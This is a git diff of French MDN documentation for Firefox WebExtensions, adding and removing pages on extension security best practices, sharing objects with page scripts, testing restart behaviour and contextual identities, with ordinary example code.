Par exemple, lorsque vous utilisez des modèles moustache, vous devez utiliser la double moustache, \{{variable}}, qui échappe à tout code HTML. L'utilisation de la triple moustache, \{\{{variable}}}, doit être évitée car cela injecte une chaîne HTML brute et pourrait ajouter du code exécutable à votre modèle. Handlebars fonctionne d'une manière similaire, avec des variables dans le double guidon, \{{variable}}, étant échappé. Considérant que, les variables dans le guidon triple sont laissées crues et doivent être évitées. De même, si vous créez une aide Handlebars à l'aide de  Handlebars.SafeString utilisez Handlebars.escapeExpression() pour échapper tous les paramètres dynamiques transmis à l'assistant. C'est une exigence car la variable résultante de Handlebars.SafeString est considérée comme sûre et elle n'est pas échappée lorsqu'elle est insérée avec des guidons doubles.

+ +

Il existe des concepts similaires dans d'autres systèmes de modélisation qui doivent être abordés avec le même niveau de soin.

+ +

Lecture supplémentaire

+ +

Pour plus d'informations sur ce sujet, consultez les articles suivants :

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/securite_bonne_pratique/index.html b/files/fr/mozilla/add-ons/webextensions/securite_bonne_pratique/index.html deleted file mode 100644 index 05a6a7a699..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/securite_bonne_pratique/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Bonnes pratiques de sécurité -slug: Mozilla/Add-ons/WebExtensions/securite_bonne_pratique -tags: - - Débutant - - Extensions - - Intermédiaire - - Sécurité - - WebExtensions - - revue -translation_of: Mozilla/Add-ons/WebExtensions/Security_best_practices ---- -
{{AddonSidebar}}
- -

Voici une liste des meilleures pratiques à suivre pour protéger les utilisateurs de votre extension. Si vous ne suivez pas ces bonnes pratiques, votre extension risque d'échouer les avis sur addons.mozilla.org, Si vous ne suivez pas ces bonnes pratiques, votre extension risque d'échouer les avis survous empêchant ainsi de distribuer votre module ou de le bloquer à l'installation dans Firefox.

- -
    -
  • Ne pas injecter ou incorporer des scripts distants
    - Si vous identifiez un service que vous souhaitez utiliser dans votre extension, n'injectez pas le script du service à partir d'une source distante. Une telle approche est risquée, car le code pourrait être modifié sans que vous le sachiez — et, surtout, sans la connaissance et le consentement de l'utilisateur des extensions — compromettant la sécurité de votre extension. Vous devriez donc ajouter une copie du script dans le code de votre extension.
    • -
  • Assurez-vous d'insérer le contenu distant en toute sécurité
    - Assurez-vous de suivre les bonnes pratiques lorsque votre extension utilise du contenu distant : -
      -
    • insérez des chaînes à l'aide de méthodes de manipulation DOM natives sécurisées : document.createElement, Element.setAtttribute, et Node.textContent.
      • -
    • utilisez les fonctions attr() et text() pour insérer des chaînes.
      • -
    • assainir le contenu HTML avec DOMPurify.
      • -
    • utiliser des commandes de moteur de modèle qui échappent à tout code HTML avant de l'insérer.
      • -
    - -

    Pour plus d'informations, voir Insérer du contenu externe en toute sécurité dans une page.

    -
    • -
  • Utiliser XHR pour Google Analytics
    - Si vous souhaitez ajouter Google Analytics à votre extension, n'insérez pas le code JavaScript Google Analytics. Il est plutôt recommandé d'utiliser l'API REST Google Analytics dans un appel XHR, par exemple: - 
    let request = new XMLHttpRequest();
-let message =
-  "v=1&tid=" + GA_TRACKING_ID + "&cid= " + GA_CLIENT_ID + "&aip=1" +
-  "&ds=add-on&t=event&ec=AAA&ea=" + aType;
-
-request.open("POST", "https://www.google-analytics.com/collect", true);
-request.send(message);
    - Vous pouvez trouver plus d'informations dans l'article de blog Utilisation de Google Analytics dans les Extensions.
    • -
  • Utiliser la stratégie de sécurité du contenu de l'extension standard (CSP)
    - La stratégie standard limite les sources à partir desquelles votre extension peut charger les ressources <script> et <object>, et interdit les pratiques potentiellement dangereuses, telles que l'utilisation de eval(). Bien que la clé manifest.json content_security_policy vous permette de modifier la stratégie de sécurité du contenu de votre extension, cette opération n'est pas recommandée car elle empêche les extensions d'exécuter involontairement du contenu malveillant. Si votre CSP modifié autorise l'injection de script à distance, votre extension sera rejetée par AMO pendant la révision.
    - Pour plus d'informations, voir Stratégie de sécurité du contenu par défaut.
    • -
  • Partagez des objets avec JavaScript sur la page avec soin
    - Firefox fournit wrappedJSObject afin qu'un script de contenu puisse accéder aux objets JavaScript créés par les scripts de page. Le danger ici est qu'une page Web malveillante puisse, par exemple, modifier les fonctions des objets JavaScript pour exécuter son propre code.
    - Pour plus d'informations, voir Accès aux objets de script de page à partir de scripts de contenu.
    • -
  • Utilisez window.eval() dans les scripts de contenu avec prudence
    - Vous devez être très prudent lorsque vous exécutez du code dans le contexte d'une page. Une page Web malveillante pourrait tenter d'exécuter du code en exploitant l'utilisation de window.eval(). Il peut le faire, par exemple, en redéfinissant les objets que votre code pourrait vouloir évaluer.
    - Pour plus d'informations, voir Ne pas utiliser eval inutilement !
    • -
  • Créez votre interface utilisateur avec des composants d'extension
    - Créez l'interface utilisateur de votre extension à l'aide des fonctions intégrées de l'interface utilisateur d'extension, telles que les pages groupées, pageAction et les fenêtres contextuelles sur pageAction et browserAction. N'ajoutez pas d'éléments d'interface utilisateur, tels que des boutons ou des barres d'outils, directement aux pages Web. Si vous le faites, les scripts sur la page Web pourraient compromettre votre extension. Voir extension du navigateur Keybase Insecure pour un exemple des problèmes potentiels.
    - Si les composants de l'interface utilisateur standard ne suffisent pas, utilisez des iframes avec des URL de données pour éviter les empreintes digitales ou ajoutez des iframes au code d'extension afin qu'une page ne puisse pas interagir avec le contenu de votre interface utilisateur, comme les boutons.
    • -
  • Ajouter eslint-plugin-no-unsanitized à ESLint
    - Si vous utilisez ESLint pour vérifier votre code d'extension, pensez à ajouter eslint-plugin-no-unsanitized. Ce plug-in de règles ESLint signale les instances où du code non-initié provenant d'API ou d'entrées utilisateur peut provoquer des problèmes.
    • -
  • Ne pas injecter les chemins moz-extension directement
    - Lorsque les liens, les inclusions ou les images injectés incluent des chemins vers  moz-extension://{hash} le script de suivi d'une page peut utiliser cette information pour identifier l'utilisateur, car le hachage (UUID) est unique à l'installation de l'extension et, par conséquent, l'utilisateur.
    - La meilleure façon d'éviter ce problème est de suivre les conseils généraux concernant l'injection de contenu. Cependant, si vous pensez que l'injection de contenu est votre seule approche pratique, assurez-vous que les chemins moz-extension sont incorporés dans un iframe en utilisant une URL de données ou l'attribut srcdoc.
    • -
  • S'assurer que les bibliothèques tierces sont à jour
    - tierces réputées seront mises à jour lorsque des problèmes seront détectés. L'utilisation de bibliothèques tierces périmées (et potentiellement non sécurisées) est fortement déconseillée et, lorsqu'un risque important est identifié, l'AMO peut agir pour bloquer les extensions en utilisant le code obsolète.
    - Par conséquent, utilisez toujours la dernière version des bibliothèques tierces lorsque vous créez votre extension. Ensuite, prenez connaissance des mises à jour de ces bibliothèques et soyez prêt à mettre à jour votre extension pour vous assurer qu'elle utilise une version à jour de la bibliothèque.
    • -
  • Ne pas modifier les bibliothèques tierces
    - Les modifications apportées à une bibliothèque tierce sont un indicateur significatif qu'un développeur essaie de cacher du code malveillant dans un code généralement connu et approuvé. AMO va donc essayer de détecter les modifications apportées aux bibliothèques tierces et peut désactiver les extensions lorsqu'il trouve des modifications.
    • -
diff --git a/files/fr/mozilla/add-ons/webextensions/sharing_objects_with_page_scripts/index.html b/files/fr/mozilla/add-ons/webextensions/sharing_objects_with_page_scripts/index.html new file mode 100644 index 0000000000..81ac2d7584 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/sharing_objects_with_page_scripts/index.html @@ -0,0 +1,258 @@ +--- +title: Partage d'objets avec des scripts de page +slug: Mozilla/Add-ons/WebExtensions/partage_d_objets_avec_des_scripts_de_page +tags: + - Add-ons + - Extensions + - Firefox + - Guide + - Mozilla + - Non-standard + - WebExtensions + - XPCOM + - script de contenu + - scripts de page +translation_of: Mozilla/Add-ons/WebExtensions/Sharing_objects_with_page_scripts +--- +
{{AddonSidebar}} +
+

Les techniques décrites dans cette section sont uniquement disponibles dans Firefox, et seulement à partir de Firefox 49

+
+ +
+

En tant que développeur d'extensions, vous devez considérer que les scripts s'exécutant sur des pages Web arbitraires sont des codes hostiles dont le but est de voler les informations personnelles de l'utilisateur, d'endommager leur ordinateur ou de les attaquer d'une autre manière.

+ +

L'isolation entre les scripts de contenu et les scripts chargés par les pages Web a pour but de rendre plus difficile la tâche des pages Web hostiles.

+ +

Puisque les techniques décrites dans cette section décompose cet isolement, elles sont intrinsèquement dangereuses et devraient être utilisées avec beaucoup de soin.

+
+
+ +

Comme les notes du guide de scripts de contenu, les scripts de contenu ne voient pas les modifications apportées au DOM par des scripts chargés par des pages Web.Cela signifie que, par exemple, si une page Web charge une bibliothèque comme jQuery, les scripts de contenu ne pourront pas l'utiliser et devront charger leur propre copie. À l'inverse, les scripts chargés par les pages Web ne peuvent pas voir les modifications apportées par les scripts de contenu.

+ +

Cependant, Firefox fournit des API qui permettent aux scripts de contenu de :

+ +
    +
  • accéder aux objets JavaScript créés par les scripts de page
    • +
  • exposer leurs propres objets JavaScript aux scripts de pages.
    • +
+ +

Vision Xray dans Firefox

+ +

Dans Firefox, une partie de l'isolation entre les scripts de contenu et les scripts de pages est implémentée en utilisant une fonction appelée "Vision Xray". Lorsqu'un script dans une portée plus privilégiée accède à un objet défini dans une portée moins privilégiée, il ne voit que la "version native" de l'objet. Toutes les propriétés expando sont invisibles et si des propriétés de l'objet ont été redéfinies, il voit l'implémentation d'origine et non la version redéfinie.

+ +

Le but de cette fonctionnalité est de rendre le script moins privilégié plus difficile à confondre le script plus privilégié en redéfinissant les propriétés natives des objets.

+ +

Par exemple, lorsqu'un script de contenu accède à la fenêtre de la page, il ne voit aucune propriété ajoutée au script de la page, et si le script de la page a redéfini les propriétés de la fenêtre, le script de contenu verra la version originale .

+ +

Pour l'histoire complète sur la vision Xray, voir les articles sur Vision Xray et la securité des Scripts.

+ +

Accès aux objets de script de page à partir de scripts de contenu

+ +

Dans Firefox, les objets DOM dans les scripts de contenu obtiennent une propriété supplémentaire wrappedJSObject. C'est une version "déballée" de l'objet, qui inclut toutes les modifications apportées à cet objet par les scripts de page.

+ +

Prenons un exemple simple. Supposons qu'une page Web charge un script:

+ +
<!DOCTYPE html>
+<html>
+  <head>
+    <meta charset="UTF-8">
+  </head>
+  <body>
+    <script type="text/javascript" src="main.js"></script>
+  </body>
+</html>
+ +

Le script ajoute une propriété expando à la fenêtre globale :

+ +
// main.js
+
+var foo = "I'm defined in a page script!";
+ +

La vision Xray signifie que si un script de contenu tente d'accéder à foo, il sera indéfini:

+ +
// content-script.js
+
+console.log(window.foo); // undefined
+ +

Dans Firefox, les scripts de contenu peuvent utiliser window.wrappedJSObject pour voir la propriété expando :

+ +
// content-script.js
+
+console.log(window.wrappedJSObject.foo); // "I'm defined in a page script!"
+ +

Notez qu'une fois que vous faites cela, vous ne pouvez plus compter sur les propriétés ou les fonctions de cet objet qui sont, ou font, ce que vous attendez. N'importe lequel d'entre eux, même les setters et les getters, aurait pu être redéfini par un code non fiable.

+ +

Notez également que le déballage est transitif: lorsque vous utilisez wrappedJSObject, toutes les propriétés de l'objet déplié sont elles-mêmes dépliées (et donc peu fiables). C'est donc une bonne pratique, une fois que vous avez l'objet dont vous avez besoin, de le réemballer, ce que vous pouvez faire comme ceci:

+ +
XPCNativeWrapper(window.wrappedJSObject.foo);
+ +

voir le document vision Xray pour plus de détails à ce sujet.

+ +

Partage d'objets de script de contenu avec des scripts de page

+ +

Firefox fournit également des API permettant aux scripts de contenu de rendre les objets disponibles pour les scripts de page. Il y a plusieurs approches ici:

+ +
    +
  • exportFunction(): exporte une fonction vers des scripts de page
    • +
  • cloneInto(): exporte un objet vers des scripts de page.
    • +
  • constructeurs du contexte de la page
    • +
+ +

exportFunction

+ +

Étant donné une fonction définie dans le script de contenu, exportFunction() l'exporte vers la portée du script de page, afin que le script de page puisse l'appeler.

+ +

Par exemple, considérons une extension qui a un script d'arrière-plan comme ceci :

+ +
/*
+Execute content script in the active tab.
+*/
+function loadContentScript() {
+  browser.tabs.executeScript({
+    file: "/content_scripts/export.js"
+  });
+}
+
+/*
+Add loadContentScript() as a listener to clicks
+on the browser action.
+*/
+browser.browserAction.onClicked.addListener(loadContentScript);
+
+/*
+Show a notification when we get messages from
+the content script.
+*/
+browser.runtime.onMessage.addListener((message) => {
+  browser.notifications.create({
+    type: "basic",
+    title: "Message from the page",
+    message: message.content
+  });
+});
+ +

Cela fait deux choses :

+ +
    +
  • exécuter un script de contenu dans l'onglet en cours, lorsque l'utilisateur clique sur une action du navigateur
    • +
  • écouter les messages du script de contenu et afficher une notification  lorsque le message arrive.
    • +
+ +

Le script de contenu ressemble à ceci :

+ +
/*
+Define a function in the content script's scope, then export it
+into the page script's scope.
+*/
+function notify(message) {
+  browser.runtime.sendMessage({content: "Function call: " + message});
+}
+
+exportFunction(notify, window, {defineAs:'notify'});
+ +

Cela définit une fonction notify(), qui envoie simplement son argument au script d'arrière-plan. Il exporte ensuite la fonction vers la portée du script de page. Maintenant, le script de la page peut appeler cette fonction:

+ +
window.notify("Message from the page script!");
+ +

Pour l'histoire complète, voir Components.utils.exportFunction.

+ +

cloneInto

+ +

Étant donné un objet défini dans le script de contenu, cela crée un clone de l'objet dans la portée du script de page, rendant ainsi le clone accessible aux scripts de page. Par défaut, cela utilise l'agorithme clone structuré pour cloner l'objet, ce qui signifie que les fonctions de l'objet ne sont pas incluses dans le clone. Pour inclure des fonctions, passez l'option cloneFunctions.

+ +

Par exemple, voici un script de contenu qui définit un objet contenant une fonction, puis le clone dans la portée du script de page :

+ +
/*
+Create an object that contains functions in
+the content script's scope, then clone it
+into the page script's scope.
+
+Because the object contains functions,
+the cloneInto call must include
+the `cloneFunctions` option.
+*/
+var messenger = {
+  notify: function(message) {
+    browser.runtime.sendMessage({
+      content: "Object method call: " + message
+    });
+  }
+};
+
+window.wrappedJSObject.messenger = cloneInto(
+  messenger,
+  window,
+  {cloneFunctions: true});
+ +

Maintenant les scripts de page vont voir une nouvelle propriété sur la fenêtre, messenger, qui a une fonction notify():

+ +
window.messenger.notify("Message from the page script!");
+ +

Pour l'histoire complète, voir Components.utils.cloneInto.

+ +

Constructeurs du contexte de la page

+ +

Sur l'objet fenêtre de xrayed, des constructeurs immaculés pour certains objets javascript intégrés tels que Object, Function ou Proxy et différentes classe DOM sont disponibles. XMLHttpRequest ne se comporte pas de cette manière, voir la section XHR and fetch pour plus de détails. Ils créeront des instances appartenant à la hiérarchie d'objets de la page global, puis retourneront un wrapper xray.

+ +

Puisque les objets créés de cette manière appartiennent déjà à la page et que le script de contenu ne les renvoie pas à la page, il ne nécessitera pas de clonage ou d'exportation supplémentaire.

+ +
/* javascript built-ins */
+
+const objA = new Object();
+const objB = new window.Object();
+
+console.log(
+  objA instanceof Object,                        // true
+  objB instanceof Object,                        // false
+  objA instanceof window.Object,                 // false
+  objB instanceof window.Object,                 // true
+  'wrappedJSObject' in objB                      // true; xrayed
+);
+
+objA.foo = "foo";
+objB.foo = "foo";                                // xray wrappers for plain javascript objects pass through property assignments
+objB.wrappedJSObject.bar = "bar";                // unwrapping before assignment does not rely on this special behavior
+
+window.wrappedJSObject.objA = objA;
+window.wrappedJSObject.objB = objB;              // automatically unwraps when passed to page context
+
+window.eval(`
+  console.log(objA instanceof Object);           // false
+  console.log(objB instanceof Object);           // true
+
+  console.log(objA.foo);                         // undefined
+  objA.baz = "baz";                              // Error: permission denied
+
+  console.log(objB.foo, objB.bar);               // "foo", "bar"
+  objB.baz = "baz";
+`);
+
+/* other APIs */
+
+const ev = new Event("click");
+
+console.log(
+  ev instanceof Event,                           // true
+  ev instanceof window.Event,                    // true; Event constructor is actually inherited from the xrayed window
+  'wrappedJSObject' in ev                        // true; is an xrayed object
+);
+
+ev.propA = "propA"                                // xray wrappers for native objects do not pass through assignments
+ev.propB = "wrapper";                             // define property on xray wrapper
+ev.wrappedJSObject.propB = "unwrapped";           // define same property on page object
+Reflect.defineProperty(ev.wrappedJSObject,        // privileged reflection can operate on less privileged objects
+  'propC', {
+     get: exportFunction(function() {             // getters must be exported like regular functions
+       return 'propC';
+     }
+  }
+);
+
+window.eval(`
+  document.addEventListener("click", (e) => {
+    console.log(e instanceof Event, e.propA, e.propB, e.propC);
+  });
+`);
+
+document.dispatchEvent(ev); // true, undefined, "unwrapped", "propC"
diff --git a/files/fr/mozilla/add-ons/webextensions/test_des_fonctionnalites_persistantes_et_de_redemarrage/index.html b/files/fr/mozilla/add-ons/webextensions/test_des_fonctionnalites_persistantes_et_de_redemarrage/index.html deleted file mode 100644 index 92e16e408d..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/test_des_fonctionnalites_persistantes_et_de_redemarrage/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: Test des fonctionnalités persistantes et de redémarrage -slug: >- - Mozilla/Add-ons/WebExtensions/test_des_fonctionnalites_persistantes_et_de_redemarrage -tags: - - Comment - - Débutant - - Développement - - Intermédiaire - - WebExtensions - - add-on - - test - - web-ext -translation_of: Mozilla/Add-ons/WebExtensions/Testing_persistent_and_restart_features ---- -

{{AddonSidebar}}

- -

Lors du test de votre extension, vous pouvez remarquer que certaines fonctionnalités se réinitialisent ou cessent de fonctionner lorsque vous chargez une version mise à jour ou après le redémarrage de Firefox. Par exemple, vous pouvez utiliser le stockage local et remarquer que les données précédemment sauvegardées disparaissent lorsque vous rechargez votre extension. Alternativement, vous pouvez tester votre extension à travers un redémarrage de Firefox, mais notez que votre extension ne reste pas chargée.

- -

Cet article explique pourquoi vous voyez ces comportements. Il vous montre ensuite ce qu'il faut faire pour vous assurer que les fonctions persistent lorsque vous rechargez votre extension et comment configurer pour tester le comportement de redémarrage.

- -

Avant de regarder comment Firefox traite l'extension que vous testez; Il y a quelques fonctionnalités de Firefox et des extensions dont vous devez être conscient : l'ID du module complémentaire et les profils Firefox.

- -

Qu'est-ce qu'un ID complémentaire ?

- -

L'ID de module complémentaire est utilisé pour identifier de manière unique chaque extension et à son tour, cet ID est utilisé pour lier une extension à certaines fonctionnalités des API WebExtension. Ces fonctionnalités sont:

- -
    -
  • {{WebExtAPIRef("storage.managed")}} — identifie les données comme appartenant à l'extension par son ID add-on.
    • -
  • {{WebExtAPIRef("storage.sync")}} — identifie les données comme appartenant à l'extension par son ID complémentaire.
    • -
  • {{WebExtAPIRef("identity.getRedirectURL")}} — l'URL de redirection inclut l'ID complémentaire de l'extension.
    • -
  • Native messaging — l'application native identifie les extensions qui peuvent communiquer avec elles par leur ID complémentaire.
    • -
  • {{WebExtAPIRef("pkcs11")}} — le module PKCS #11 identifie les extensions qui peuvent communiquer avec lui par leur ID complémentaire.
    • -
  • {{WebExtAPIRef("runtime.onMessageExternal")}} — une extension envoie des messages à un autre poste en utilisant son ID complémentaire comme adresse.
    • -
  • {{WebExtAPIRef("runtime.onConnectExternal")}} — une extension demande une connexion avec une extension par l'ID d'extension de l'autre extension.
    • -
  • {{WebExtAPIRef("browserAction")}} — la position sauvegardée du bouton est identifiée comme appartenant à l'extension en fonction de son ID add-on.
    • -
- -

Une extension peut se voir attribuer un ID complémentaire en utilisant la clé  "applications" du fichier manifest.json.

- -
"applications": {
-  "gecko": {
-    "id": "addon@example.com",
-    }
-  }
- -

Si l'extension n'a pas d'ID de module défini avec la clé "applications" , il reçoit un ID de module complémentaire via l'un des éléments suivants:

- -
    -
  • Si l'extension est soumise à l'AMO et signée, elle reçoit un identifiant lorsqu'elle est signée.
    • -
  • Si l'extension est chargée à l'aide de Load Temporary Add-on dans  about:debugging un ID complémentaire temporaire lui est affecté.
    - Example of a temporarily loaded extension showing its various IDs
    • -
- -

Vous remarquerez un ID supplémentaire dans l'image ci-dessus, l'UUID interne. C'est un identifiant unique donné à l'extension lors de l'installation. Il est utilisé pour définir l'emplacement de stockage des ressources incluses dans l'extension et identifier les données d'un poste dans window.localStorage ou indexedDB. Cependant, vous n'avez pas besoin de connaître sa valeur. Son utilisation dans window.localStorage ou indexedDB est transparente et pour accéder aux ressources incluses dans l'extension, vous utilisez {{WebExtAPIRef("runtime.getURL")}}, qui renvoie le chemin d'accès aux ressources. De plus, étant donné qu'il est unique à chaque installation, il ne fournit pas d'ID pouvant être utilisé à d'autres fins.

- -

Qu'est-ce qu'un profil Firefox?

- -

Les données qui définissent la manière dont l'utilisateur a configuré Firefox, ainsi que les informations générées lors de la navigation sur le Web, telles que l'historique et les cookies, sont stockées dans un dossier spécial, appelé profile. En plus des cookies, le profil contient du stockage local et d'autres contenus liés au profil.

- -

Comportement d'extension dans Firefox

- -

Lorsque vous développez une extension, en supposant que vous n'avez pas défini d'ID complémentaire à l'aide de la clé "applications", le comportement par défaut dans Firefox est le suivant :

- -
    -
  • lorsque vous utilisez la fonction Load Temporary Add-on dans environ: le débogage de votre extension se voit attribuer un nouvel ID de module complémentaire chaque fois que vous le chargez.
    • -
  • Lorsque vous utilisez Web-ext, en plus d'obtenir un nouvel ID complémentaire chaque fois que vous lancez une extension, il est également lancé dans un nouveau profil.
    • -
  • lorsqu'une extension temporairement chargée est déchargée, le stockage local, tel que celui utilisé par storage.local, window.localStorage, et indexedDB, est supprimé.
    • -
  • Lorsque vous arrêtez Firefox, les extensions temporairement chargées sont déchargées et ne sont donc pas disponibles lorsque Firefox redémarre. Cela inclut les extensions chargées avec Load Temporary Add-on dans about:debugging et web-ext.
    • -
- -

Les conséquences de ce comportement, lors du rechargement d'une extension, sont les suivantes :

- -
    -
  • toutes les données dans le stockage local ou de synchronisation sont perdues.
    • -
  • toute URL de redirection devient invalide.
    • -
  • l'extension ne pourra plus communiquer avec des applications natives ou un module PKCS #11.
    • -
  • il ne sera plus possible d'envoyer des messages ou de créer des connexions entre les extensions.
    • -
  • vous ne pouvez pas tester le comportement de l'extension si Firefox est arrêté et redémarré.
    • -
  • Les positions de browserAction ne sont pas reportées
    • -
- -

Que dois-je faire pour m'assurer de pouvoir tester mon extension ?

- -

Pour que votre extension se comporte comme une extension signée pendant les tests de développement, utilisez les techniques suivantes :

- -
    -
  • pour vous assurer qu'une extension peut utiliser des fonctionnalités dépendantes de l'ID complémentaire entre les rechargements, telles que le stockage local ou la communication d'application native : -
      -
    • définir un ID de module complémentaire à l'aide de la clé "applications" dans le fichier manifest.json de l'extension.
      • -
    • lorsque vous utilisez web-ext, assurez-vous d'utiliser le même profil.
      • -
    -
    • -
  • pour vous assurer d'utiliser le même profil pour plusieurs tests d'une extension lors de l'utilisation de web-ext : -
      -
    • en option, utilisez Profile Manager pour créer un nouveau profil Firefox.
      • -
    • rouvez le chemin vers votre nouveau profil ou le profil Firefox par défaut en suivant les instructions dans Comment trouver mon profil ?
      • -
    • ajoutez le chemin du profil Firefox à la commande web-ext run comme ceci :
      - web-ext run --firefox-profile [A PATH TO A FIREFOX PROFILE] --keep-profile-changes
      • -
    -
    • -
  • pour préserver les données storage.local, l'accès à window.localStorage ou les données indexedDB lors de la suppression d'un add-on temporaire (par exemple entre deux redémarrages du navigateur) : -
      -
    • allez à about:config et réglez extensions.webextensions.keepStorageOnUninstall et extensions.webextensions.keepUuidOnUninstall à true.
      • -
    -
    • -
  • pour tester le comportement de redémarrage : -
      -
    • définir un ID de module complémentaire à l'aide de la clé "applications" dans le fichier manifest.json de l'extension.
      • -
    • installez les éditions Nightly ou Developer de Firefox. Remarque :  Vous pouvez également utiliser les versions unbranded Beta et Release builds.
      • -
    • allez à about:config et définissez xpinstall.signatures.required à false.
      • -
    • Compressez votre extension dans un fichier ZIP using web-ext ou en compressant manuellement.
      • -
    • installez votre extension en utilisant Install Add-on From File dans le gestionnaire de modules complémentaires (about:addons).
      - Remarque: N'oubliez pas que vous devrez recharger votre extension chaque fois que vous la modifiez.
      - Remarque: Si vous ne définissez pas l'ID du module complémentaire, lorsque vous chargez l'extension, vous obtenez une erreur comme celle-ci : -

      Example of the message displayed when an add-on ID cannot be found for an extension

      - -

      avec une erreur correspondante dans la console du navigateur .

      - -

      Example of the message displayed in the browser console when an add-on ID cannot be found for an extension

      -
      • -
    -
    • -
diff --git a/files/fr/mozilla/add-ons/webextensions/travailler_avec_des_identites_contextuelles/index.html b/files/fr/mozilla/add-ons/webextensions/travailler_avec_des_identites_contextuelles/index.html deleted file mode 100644 index 7acabb6773..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/travailler_avec_des_identites_contextuelles/index.html +++ /dev/null @@ -1,169 +0,0 @@ ---- -title: Travailler avec des identités contextuelles -slug: Mozilla/Add-ons/WebExtensions/travailler_avec_des_identites_contextuelles -tags: - - Add-ons - - Comment - - Contextual identities - - Débutant - - Extensions - - Hox-to - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Work_with_contextual_identities ---- -

{{AddonSidebar}}

- -

Beaucoup de gens ont besoin ou veulent interagir avec le web en utilisant plusieurs personnages. Ils peuvent avoir des comptes pour le travail sur le Web et le courrier électronique personnel. Ils peuvent se déconnecter de leurs comptes de médias sociaux avant d'accéder aux achats en ligne, afin de s'assurer que les scripts de suivi sur les sites d'achat ne peuvent pas prendre en charge leur activité de médias sociaux. Pour répondre à ces exigences, les utilisateurs finissent souvent par utiliser une fenêtre de navigateur standard et privée ou deux navigateurs différents.

- -

Pour répondre à ce besoin, Firefox inclut une fonctionnalité connue sous le nom d'identités contextuelles, d'onglets de conteneurs ou de conteneurs de comptes. Cette fonctionnalité permet la création d'un conteneur de cookies pour chacune des identités que l'utilisateur souhaite utiliser dans son navigateur. Les onglets peuvent être associés à l'une de ces identités, en conservant les cookies distincts de ceux des autres identités dans le navigateur. Le résultat pratique est que, par exemple, un utilisateur peut avoir une identité personnelle et professionnelle. Ils peuvent ensuite utiliser l'identité personnelle dans un onglet, où ils se connectent à leur messagerie Web personnelle, et l'identité professionnelle dans un autre onglet, où ils se connectent à leur messagerie Web professionnelle.

- -

Pour plus d'informations sur cette fonctionnalité, voir :

- - - -

API pour travailler avec des identités contextuelles

- -

Pour utiliser les fonctionnalités d'identité contextuelle dans les extensions, vous utiliserez deux APIs :

- -
    -
  • {{WebExtAPIRef("contextualIdentities")}} qui permet à une extension d'ajouter, d'interroger, de mettre à jour et de supprimer des identités contextuelles.
    • -
  • {{WebExtAPIRef("tabs")}} ou plus précisément {{WebExtAPIRef("tabs.create")}} qui vous permet de créer un onglet utilisant le conteneur d'une identité contextuelle (magasin de cookies).
    • -
- -

Permissions

- -

Pour utiliser l'API {{WebExtAPIRef("contextualIdentities")}} vous devez inclure la  permission "contextualIdentities" dans votre fichier manifest.json. Vous n'avez pas besoin de la permission "tabs" pour utiliser {{WebExtAPIRef("tabs.create")}} ; vous avez besoin de la permission "cookies" pour spécifier le conteneur de cookies que vous souhaitez utiliser.

- -

Exemple de procédure pas à pas

- -

L'exemple d'extension contextual-identities fournit un bouton de barre d'outils avec une fenêtre qui répertorie les identités dans le navigateur. Pour chaque identité, l'extension fournit des options permettant de créer un nouvel onglet en utilisant son conteneur de cookies ou de supprimer tous les onglets de l'identité.

- -

Voici une courte vidéo de l'extension en action :

- -

{{EmbedYouTube("SgLCS7_ppas")}}

- -

manifest.json

- -

Les principales caractéristiques du fichier manifest.json sont :

- -
    -
  • La demande de permissions : - 
      "permissions": [
-      "contextualIdentities",
-      "cookies"
-  ],
    -
    • -
  • spécification du bouton de la barre d'outils (browseAction) donnant accès aux fonctionnalités de l'extension : - 
      "browser_action": {
-    "browser_style": true,
-    "default_title": "Contextual Identities",
-    "default_popup": "context.html",
-    "default_icon": {
-      "128": "identity.svg"
-    }
    -
    • -
- -

context.html

- -

Une fenêtre contextuelle sur le bouton de la barre d'outils fournit l'interface utilisateur de l'extension. context.html implémente ce popup, mais c'est juste un shell dans lequel le script context.js écrit la liste des identités contextuelles et leurs options associées.

- -
  <body>
-    <div class="panel">
-      <div id="identity-list"></div>
-    </div>
-  <script src="context.js"></script>
-  </body>
- -

context.js

- -

Toutes les fonctionnalités de l'extension sont implémentées via context.js, qui est appelée chaque fois que la barre d'outils est affichée.

- -

Le script obtient d'abord le div 'identity-list' depuis context.html.

- -
var div = document.getElementById('identity-list');
- -

Il vérifie ensuite si la fonction d'identités contextuelles est activée dans le navigateur. Si ce n'est pas le cas, des informations sur la façon de l'activer sont ajoutées à la fenêtre contextuelle.

- -
if (browser.contextualIdentities === undefined) {
-  div.innerText = 'browser.contextualIdentities not available. Check that the privacy.userContext.enabled pref is set to true, and reload the add-on.';
-} else {
- -

Firefox s'installe avec la fonctionnalité d'identité contextuelle désactivée, elle est activée lorsqu'une extension utilisant l'API contextualIdentities est installée. Cependant, il est toujours possible pour l'utilisateur de désactiver la fonctionnalité, en utilisant une option sur la page des préférences (about:preferences), d'où la nécessité de la vérification.

- -

Le script utilise maintenant contextualIdentities.query pour déterminer s'il existe des identités contextuelles définies dans le navigateur. S'il n'y en a pas, un message est ajouté au popup et le script s'arrête.

- -
  browser.contextualIdentities.query({})
-    .then((identities) => {
-      if (!identities.length) {
-        div.innerText = 'No identities returned from the API.';
-        return;
-      }
- -

Si des identités contextuelles sont présentes — Firefox a quatre identités par défaut — le script parcourt chacune d'elles en ajoutant son nom, stylisé dans la couleur choisie, à l'élément <div>. La fonction createOptions() ajoute ensuite les options à “create” ou  “close all” à la <div> avant qu'elle ne soit ajoutée au popup.

- -
     for (let identity of identities) {
-       let row = document.createElement('div');
-       let span = document.createElement('span');
-       span.className = 'identity';
-       span.innerText = identity.name;
-       span.style = `color: ${identity.color}`;
-       console.log(identity);
-       row.appendChild(span);
-       createOptions(row, identity);
-       div.appendChild(row);
-     }
-  });
-}
-
-function createOptions(node, identity) {
-  for (let option of ['Create', 'Close All']) {
-    let a = document.createElement('a');
-    a.href = '#';
-    a.innerText = option;
-    a.dataset.action = option.toLowerCase().replace(' ', '-');
-    a.dataset.identity = identity.cookieStoreId;
-    a.addEventListener('click', eventHandler);
-    node.appendChild(a);
-  }
-}
- -

Le script attend maintenant que l'utilisateur sélectionne une option dans le popup.

- -
function eventHandler(event) {
- -

